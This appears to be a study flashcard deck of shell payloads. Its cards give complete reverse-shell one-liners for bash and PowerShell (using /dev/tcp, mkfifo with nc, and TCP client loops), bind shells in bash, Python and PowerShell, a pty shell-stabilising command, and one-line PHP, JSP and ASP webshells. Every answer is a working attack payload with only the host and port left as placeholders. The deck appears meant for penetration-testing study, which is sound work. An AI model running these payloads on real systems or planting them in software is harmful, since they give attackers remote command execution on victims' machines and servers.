Shell Commands Flashcards

Commands to get and stabilize shells

1
Q

Whats a command to create a reverse shell in bash?

A

bash -c ‘bash -i >& /dev/tcp/[ip]/[port] 0>&1’

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Whats a command to create a reverse shell using fifos in bash?

A

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1| nc [host] [port] > /tmp/f

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Whats a command to create a reverse shell in powershell ?

A

powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘[ip]’,[port]);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + ‘PS ‘ + (pwd).Path + ‘> ‘;$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()”

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Whats a command to get a bind shell in bash?

A

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp [port] >/tmp/f

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Whats a command to get a bind shell in python?

A

python -c ‘exec(“"”import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind((“0.0.0.0”,1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())”””)’

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Whats a command to get a bind shell in powershell?

A

powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS “ + (pwd).Path + “ “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

Whats a command to stabilize a shell in python?

A

python -c ‘import pty; pty.spawn(“/bin/bash”)’

stty raw -echo

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

Whats a PHP script for a webshell?

A

<?php system($_REQUEST[“cmd”]); ?>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

Whats a JSP script for a webshell?

A

<% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

Whats an ASP script for a webshell?

A

<% eval request(“cmd”) %>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly